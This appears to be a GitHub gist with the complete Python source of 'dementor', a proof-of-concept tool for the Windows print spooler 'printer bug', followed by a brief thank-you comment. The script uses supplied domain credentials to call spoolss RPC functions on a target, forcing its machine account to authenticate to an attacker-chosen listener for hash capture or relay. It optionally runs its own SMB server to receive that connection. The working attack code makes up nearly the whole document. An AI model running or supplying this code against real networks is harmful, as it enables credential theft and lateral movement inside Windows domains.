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@3xocyte
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rough PoC to connect to spoolss to elicit machine account authentication
#!/usr/bin/env python
# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
# some code from https://www.exploit-db.com/exploits/2879/
import os
import sys
import argparse
import binascii
import ConfigParser
from time import sleep
from threading import Thread
from impacket import smbserver, smb
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_SPOOLSS = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))
target = ''
listener = ''
debug = False
show_banner = """
**
** *
** **
** **
** ******** **** *** ****
*** ** *** *** **** **** *** *** **** ******** * *** * **** **** *
********* * *** *** **** *** * * *** **** **** * ** * **** ** ****
** **** * *** ** **** **** * *** ** **** ** ** ** **
** ** ** *** ** ** ** ** *** ** ** ** ** ** **
** ** ******** ** ** ** ******** ** ** ** ** ** **
** ** ******* ** ** ** ******* ** ** ** ** ** **
** ** ** ** ** ** ** ** ** ** ** ** **
** ** **** * ** ** ** **** * ** ** ** ****** ***
***** ******* *** *** *** ******* *** *** ** **** ***
*** ***** *** *** *** ***** *** ***
rough PoC to connect to spoolss to elicit machine account authentication
implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and
code fixes for Windows 10/2016 by @elad_shamir
"""
# printer and listener struct
class type1(Structure):
alignment = 4
structure = (
('id', '<L'), # printer name referent ID
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
# client and user struct
class type2(Structure):
alignment = 4
structure = (
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
# create RpcOpenPrinterEx struct
class OpenPrinterEx(Structure):
alignment = 4
opnum = 69
structure = (
('printer', ':', type1),
('null', '<L=0'),
('str', '<L=0'),
('null2', '<L=0'),
('access', '<L=0x00020002'),
('level', '<L=1'),
('id1', '<L=1'),
('level2', '<L=131076'), # user level 1 infolevel
('size', '<L=28'),
('id2', '<L=0x00020008'), # client referent id
('id3', '<L=0x0002000c'), # user referent id
('build', '<L=8000'),
('major', '<L=0'),
('minor', '<L=0'),
('processor', '<L=0'),
('client', ':', type2),
('user', ':', type2),
)
# partialy create RemoteFindFirstPrinterChangeNotificationEx struct
class RemoteFindFirstPrinterChangeNotificationEx(Structure):
alignment =4
opnum = 65
structure = (
('flags', '<L=0'),
('options', '<L=0'),
('server', ':', type1),
('local','<L=123'), # Printer local
)
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
def run(self):
# mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global', 'server_name','server_name')
smbConfig.set('global', 'server_os','Windows')
smbConfig.set('global', 'server_domain','WORKGROUP')
smbConfig.set('global', 'log_file','')
smbConfig.set('global', 'credentials_file','')
smbConfig.set("global", 'SMB2Support', 'True')
# fake ipc$
smbConfig.add_section('IPC$')
smbConfig.set('IPC$', 'comment', '')
smbConfig.set('IPC$', 'read only', 'yes')
smbConfig.set('IPC$', 'share type', '3')
smbConfig.set('IPC$', 'path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.smb.processConfigFile()
# unregister dangerous commands
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
# build RpcOpenPrinterEx() struct
def open_printer(username, client):
query = OpenPrinterEx()
printer = "\\\\%s\x00" % (target) # blank printer
query['printer'] = type1()
query['printer']['id'] = 0x00020000 # referent ID for printer
query['printer']['max'] = len(printer) # printer max size
query['printer']['actual'] = len(printer) # printer actual size
query['printer']['str'] = printer.encode('utf_16_le')
query['client'] = type2()
query['client']['max'] = len(client)
query['client']['actual'] = len(client)
query['client']['str'] = client.encode('utf_16_le')
query['user'] = type2()
query['user']['max'] = len(username)
query['user']['actual'] = len(username)
query['user']['str'] = username.encode('utf_16_le')
return query
# partially build RpcRemoteFindFirstPrinterChangeNotificationEx() struct
def rffpcnex():
query = RemoteFindFirstPrinterChangeNotificationEx()
server = '\\\\%s\x00' % (listener) # server
query['server'] = type1()
query['server']['id'] = 0x41414141 # referent ID for server
query['server']['max'] = len(server) # server name max size
query['server']['actual'] = len(server) # server name actual size
query['server']['str'] = server.encode('utf_16_le')
return query
def call_open_printer(dce, user, client):
global debug
print "[*] getting context handle..."
query = open_printer(user,client)
try:
dce.call(query.opnum, query)
raw = dce.recv()
if debug == True: print "[*] raw response: " + binascii.hexlify(raw)
handle = raw[:20]
if debug == True: print "[*] handle is: " + binascii.hexlify(handle)
except Exception as e:
print "[*] exception " + str(e)
dce.disconnect()
sys.exit()
return handle
def grab_hash(dce, handle):
global debug
print "[*] sending RFFPCNEX..."
# because I'm lazy
options_container = (''
'\x04\x00\x02\x00' # referent id
'\x02\x00\x00\x00' # version
'\xce\x55\x00\x00' # flags
'\x02\x00\x00\x00' # count
# notify options blob to unpack another day
'\x08\x00\x02\x00\x02\x00\x00\x00\x00\x00\xce\x55\x00\x00'
'\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x02\x00'
'\x01\x00\x00\x00\xe0\x11\xbd\x8f\xce\x55\x00\x00\x01\x00'
'\x00\x00\x10\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00'
'\x01\x00\x00\x00\x00\x00'
)
# call function to get method core
query = rffpcnex()
# hack to compensate for laziness
full_query = handle
full_query += str(query)
full_query += options_container
try:
dce.call(query.opnum, full_query)
raw = dce.recv()
if debug == True: print "[*] raw response: " + binascii.hexlify(raw)
except Exception as e:
print "[*] exception " + str(e)
dce.disconnect()
sys.exit()
def create_connection(domain, username, password, ntlm):
# set up connection prereqs
# creds
creds={}
creds['username'] = username
creds['password'] = password
creds['domain'] = domain
creds['nthash'] = ntlm
# to transport
stringBinding = r'ncacn_np:%s[\pipe\spoolss]' % target
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['nthash'])
dce = rpctransport.get_dce_rpc()
# actually connect
print "[*] connecting to %s" % target
try:
dce.connect()
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
print "[*] access denied"
sys.exit()
else:
print "[*] unhandled exception occured: " + str(e)
sys.exit()
# defines the printer endpoint
try:
dce.bind(MSRPC_UUID_SPOOLSS)
except Exception as e:
print "[*] unhandled exception: " + str(e)
sys.exit()
print "[+] bound to spoolss"
return dce
def main():
# globals
global target
global listener
global debug
global show_banner
parser = argparse.ArgumentParser(add_help = True, description = "dementor - rough PoC to connect to spoolss to elicit machine account authentication (implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and code fixes by @elad_shamir)")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('--ntlm', action="store", default='', help='nt hash')
parser.add_argument('--server', action='store_true', default=False, help='create smb listener')
parser.add_argument('--debug', action="store_true", default=False, help='enable debugging')
parser.add_argument('-q', '--banner', action="store_true", default=False,help='show banner')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
domain = options.domain
username = options.username
password = options.password
ntlm = options.ntlm
server = options.server
listener = options.listener
target = options.target
debug = options.debug
banner = options.banner
if banner == True:
print show_banner
if server == True:
print "[*] starting smb server..."
server_thread = SMBServer()
server_thread.daemon = True
server_thread.start()
sleep(1) # ensure server starts before continuing
print "[+] server running"
dce = create_connection(domain, username, password, ntlm)
handle = call_open_printer(dce, domain+"\\"+username+"\x00", listener+"\x00")
grab_hash(dce, handle)
print "[+] done!"
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()
@3xocyte
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3xocyte commented Jan 8, 2019

Awesome! Thanks for all your awesome work, @asolino!

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